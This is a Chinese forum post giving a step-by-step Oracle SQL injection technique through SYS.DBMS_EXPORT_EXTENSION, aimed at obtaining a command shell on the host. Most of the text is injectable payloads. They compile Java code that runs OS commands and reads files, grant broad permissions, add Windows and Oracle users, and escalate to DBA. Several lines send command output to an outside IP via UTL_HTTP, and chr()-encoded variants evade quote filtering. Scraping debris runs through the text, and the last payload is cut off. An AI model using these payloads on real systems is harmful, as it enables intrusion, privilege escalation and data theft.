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标题: 犀利的 oracle 注入技术 [打印本页]

作者: admin    时间: 2012-9-13 16:49
标题: 犀利的 oracle 注入技术
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2 g+ A2 H0 {$ w+ G介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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; p1 X  g9 \( a' A: S0 P8 q以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)* B9 h" e6 a1 `* G
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的形式即可。(用" 'a'|| "是为了让语句返回true值)! J+ L8 C( s3 J; H. M! s8 r

. W& [& B; A* q& f+ F! K! ~9 q语句有点长,可能要用post提交。" v6 b2 o5 v" k. x) P9 W
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+ Q# O& A4 Z5 r* }* P4 y以下是各个步骤:
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1.创建包
7 ?2 d( [6 J8 @! k通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(: o1 n7 h( u+ r! l
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' R) S3 ~5 u+ D: j7 ~* i2 h/ d# qcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
0 S# j$ @  r: D+ Cnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
( G/ L* E5 e) R2 V5 s2 j}'''';END;'';END;--','SYS',0,'1',0) from dual
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------------------------
- O! l. F  u$ r& D+ Q如果url有长度限制,可以把readFile()函数块去掉,即:4 U7 t) P! l( z- p, O0 ?  }0 }
/xxx.jsp?id=1 and '1'<>'a'||(
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( T; q7 D/ j1 [% Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( U- O% i% C' Q
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
' A# h* O) k' Y% I7 c4 }new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
( B" h& F' J% G) H, U6 l9 U! M}'''';END;'';END;--','SYS',0,'1',0) from dual: ]( V0 b6 i0 a8 [. g2 [- V

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同时把后面步骤 提到的 对readFile()的处理语句去掉。
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8 u; E. Q# O6 F3 ]; s% W- s) v2.赋Java权限  s6 X1 o, v! Z7 G( j$ e& \$ Y0 n

# y, ~& H4 ]8 y( [# v% m+ ]  }select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual7 Z5 x# b8 V2 n$ ~1 u8 y* i
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3.创建函数* W6 q( ~( M+ b8 ?& O
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 @3 ?1 D% m. z) m  qcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' ^- P5 T6 K! z7 b7 Hcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual# s. q$ H& g7 B, [! k2 M% w) P

3 j8 R- H# L$ q! A/ ?4.赋public执行函数的权限" ^  @# ^4 |& P- \4 c: }
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual$ W* E$ U4 U: R2 J' V4 ^. o2 R
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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1 @$ e+ N7 |) R) \; c0 b/ }5.测试上面的几步是否成功+ H. {. p5 ^- D; O/ r. d: n

0 o1 A: z" p/ ~9 \and '1'<>'11'||(; C: G* A" W$ K
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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and '1'<>(7 z, j! Y9 s- Z2 k0 L( F) y' a
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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+ p: b2 n) _9 T4 o9 v- ~/ ~3 p6.执行命令:
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/xxx.jsp?id=1 and '1'<>(% h& }- e; P% K, H
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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/xxx.jsp?id=1 and '1'<>(
. S- u  E, e5 V8 |6 l. Mselect sys.LinxReadFile('c:/boot.ini') from dual
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! |7 R: ]& b- a( q注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。! [5 @* X1 f9 N! ~8 N3 Z
如果要查看运行结果可以用 union :
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* [& g8 {2 d% i& Z/ p/ k/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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6 u$ h- |3 [0 B: m; a5 y& h或者UTL_HTTP.request(:
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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/xxx.jsp?id=1 and '1'<>(" _4 g) j9 h  M0 r
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。6 n( v( b& o- w; }0 b6 _& e- B
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, b$ d6 [; |5 v# B6.内部变化
9 B! C0 H# ~% `0 E3 V通过以下命令可以查看all_objects表达改变:2 R2 e8 h5 r- O- J' o* g8 y
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'+ A: F3 R$ o4 d3 f: i: p

0 e7 l# C3 M6 o+ J7.删除我们创建的函数9 q4 T- W, R1 j5 Z! c
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ i) O9 N) c* z$ F7 rdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================
# Z1 a5 @! y) p1 c. s全文结束。谨以此文赠与我的朋友。1 W- G' m) w& ]8 ~' F, W

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2008.1.12
8 N2 X! t  M# k: Dlinyujian@bjfu.edu.cn
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' b# G# J! v. {. ?测试漏洞的另一方法:5 O, _1 v+ Q  c6 y
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创建oracle帐号:% r4 Q$ _$ l, `- e' s$ f
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ X8 h. E2 j; Z  t6 l. R) n0 qCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual3 w% [0 R" t* `. n# o  a
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即:
/ |2 a* P" e3 b6 x" _; A4 r& Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),' w" t; W' `. T8 ~; s+ I/ p
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual1 r' y( _4 S2 D8 {- A9 m0 `

& ^5 I, S* z1 G' i; d确定漏洞存在:
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select user_id from all_users where username='LINXSQL'
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给linxsql连接权限:
# H0 E- n) I6 ~2 J/ \9 x6 ?  {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 a: J) x5 \% I6 LGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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删除帐号:
4 Y0 u6 X8 L9 a+ Tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 ^  T" @2 @. c) u9 j7 H' i% cdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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======================
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$ E- O. A, V7 F9 c% y: c以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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6 ^7 d: a( Q2 \) a0 d1.jsp?id=1 and '1'<>(
7 h/ c6 }1 K9 M' L5 ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# [' P, B2 @, h, G; \create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual5 O, q" r9 a) W5 b9 E
) and ...
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1.jsp?id=1 and '1'<>(3 {+ j7 o  C9 m/ C; b( b
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
# e# M* x4 Q/ D! i+ G% B) and ...7 u: c) S* O) H8 J5 {
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1.jsp?id=1 and '1'<>(6 c0 B/ h( c, c# Y
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL+ Y0 u2 d5 I; J/ Q+ P% p, [' U
) and ...
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1.jsp?id=1 and '1'<>(, J2 T0 D4 f  I9 E
SELECT sys.Linx_Query('declare pragma
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select 1 from dual) [6 {" W/ A: Y2 u
''; commit; end;') from dual/ J& L2 q6 U$ v) X/ D4 k
) and ...
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; ]4 U7 T" b- m多语句:
3 v7 o1 N: O7 y% U+ ?/ ?. oSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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. f  \! R: p  X4 a) K' u创建用户(除非当前用户有system权限,否则无法成功):5 |: v' C9 r2 w
SELECT sys.Linx_Query('declare pragma
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CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
/ y0 g0 }6 \& h6 y) D''; commit; end;') from dual0 o, }- y. n6 O7 a# k
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================
' w3 s& b" [7 B3 |  O# R. ?以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()2 E; [! w8 O5 ^. \. X

: l8 q" A& _$ n# w5 O' i1.创建函数
. d- j; h, e# G' E) uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ I6 n4 L$ r1 [8 @' ]  D, C+ U
create or replace function Linx_Query (p3 E2 L3 }. p( P/ ?) b0 r/ c- ^
varchar2) return number authid current_user is begin execute immediate
4 S+ N5 a/ x6 X. Q6 b6 G- [: np; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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如果有权限,以下语句应该允许正常* v+ f# d' e  l9 R' a9 {# G
select sys.linx_query('select 1 from dual') from dual;
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2 e- N3 P9 n: g1 U* }( u不然的话运行:/ t9 Q2 j, K/ e  G5 i* M
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ ]. n! ?4 j3 J0 o7 I" rgrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual/ `, [2 D5 H/ D) K/ I& y
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2.创建包  Y% T0 {! B3 e. M, r
SELECT sys.Linx_Query('declare pragma
! P2 Z, y7 _& g, t  iautonomous_transaction; begin execute immediate ''
  H8 G$ ?- o" Xcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
+ @: E% U' w9 F# F6 Fnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual3 S" \+ x5 D  ?; A5 D5 Y

% k( S) w& Z7 c; G5 ]3.创建函数" O' v& G% \3 _$ C4 V0 y2 h4 Y
SELECT sys.Linx_Query('declare pragma
; r0 N: D6 M# U+ P+ W& \7 f& R$ }" A) dautonomous_transaction; begin execute immediate ''3 A9 o5 T/ _  E2 [  f, T5 k
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
( d. b3 k% Y- L8 ^
- Z6 a/ x. S( I/ r4 j6 R4.给权限$ o3 d' t9 ?# {
给用户SYSTEM执行权限:
* }, a, L# X* `* A* _( a( U* v/ ]- ^- ~5 [* ^) G' f# G
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
, Z- I& [3 W8 Z. @( i8 Y7 S/ f' p) @1 [; s8 x
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5.执行函数6 a6 N2 Q. u* `" R7 i% Y! I
select RunCMD2('cmd /c dir') from dual: q) U* _. T9 n* Y- x
  c( g" ?5 ]7 j. a7 _3 g+ ]% P

' U' a, K+ r: y2 i/ p; x' Q
9 ?4 i; ^2 F" m
/ @* N4 n% x+ H1 d* y$ n' x: t
3 U" D0 m. ?( I; h# j' d==================
/ u, f9 l" l* _; t. k' ?================================4 X' I0 Y7 G) f8 Y0 J# a; V- L( G) R
8 A" L% B5 e3 v6 }' v
以下是无 " ' " 版:
7 \" _! M( h. X$ O/ m) P
: ]' K" b/ S+ V7 I6 n2 B以下是各个步骤:% m+ T% ]  W1 I6 J
, t$ `. d9 h* l, Y$ E
1.创建包( c% R7 W: P$ E2 y* b
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
2 T* D, E- f6 }7 ?: T% t因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:2 x4 \5 k0 |( Z$ V) |# K. V

# q% a$ y" s- T3 ?0 e/xxx.jsp?id=1 and chr(49)<>chr(50)||(  i5 E# ~: ~* @3 B2 J

9 E* L1 G8 V( `, M! c& Dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
2 s, m3 j; q' p* S2 ?chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
! h: C( w) o8 w4 ?2 W: u# b. x, t3 Kchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
4 s, m' ]2 `) n  `chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
+ X' {/ X) M. ]9 C9 b- \" j& v7 kchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||2 Z/ g# X) J# X" E8 A- C, e
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
- X$ F8 q' I5 H" Ychr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||+ D- j5 S) P2 Z9 H- P
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||/ Y" J% r$ I7 D4 W  h4 a0 `0 [
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||' D7 `# v, V# d1 X" i# x
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||0 ]- J, y1 r- Z+ U$ s; ?% W
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
6 L: s4 h% e5 `3 jchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
) s2 L0 w) g& P* n( jchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||8 f9 f" E: o  K$ F' f
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
* \* Z  h& _$ [& c* C2 C+ Tchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||$ s/ w5 x- f  n. D" k1 q
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||5 S& H9 Y. l1 _* M0 B
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||; U6 {0 q& ~" O3 I# s3 L. z1 G
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
5 }% l2 h% ]/ Zchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
# y1 Z, O# _% a2 W8 ~. schr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||( F6 O. D( j' U. p
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
+ B8 b! ?% `2 @chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||6 Z  u! l* i0 F
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||5 _) _% \4 K7 _$ {' D6 h' @3 R# F
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
; f* `; h- h0 m, C. v' W( bchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
" C$ o1 f5 `/ [3 ^+ }chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||0 @$ P7 v  ^- M4 N) x
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||3 _2 M8 }% i! w% d0 N! V
